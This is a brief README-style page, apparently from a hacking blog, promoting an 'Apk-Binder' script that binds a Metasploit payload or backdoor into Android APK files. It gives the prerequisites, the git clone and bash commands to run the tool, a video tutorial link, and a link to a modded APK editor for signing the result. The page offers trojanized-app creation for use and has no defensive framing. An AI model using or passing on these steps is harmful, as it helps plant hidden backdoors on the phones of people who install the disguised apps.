Using this Apk-Binder tool or script you can embed the metasploit payload or backdoor with apk files.
> Metasploit-Framework > Apktools > Zipalign$ git clone https://github.com/kinghacker0/Apk-Binder
$ bash binder.sh
Note :- You must need to sign this apk with apk-editro pro.
Watch video tutorial :-https://www.youtube.com/watch?v=OuqFxGhBSGU
Download Apk-Editro Pro - https://www.hackersking.in/2019/12/apk-editor-pro-mod-version.html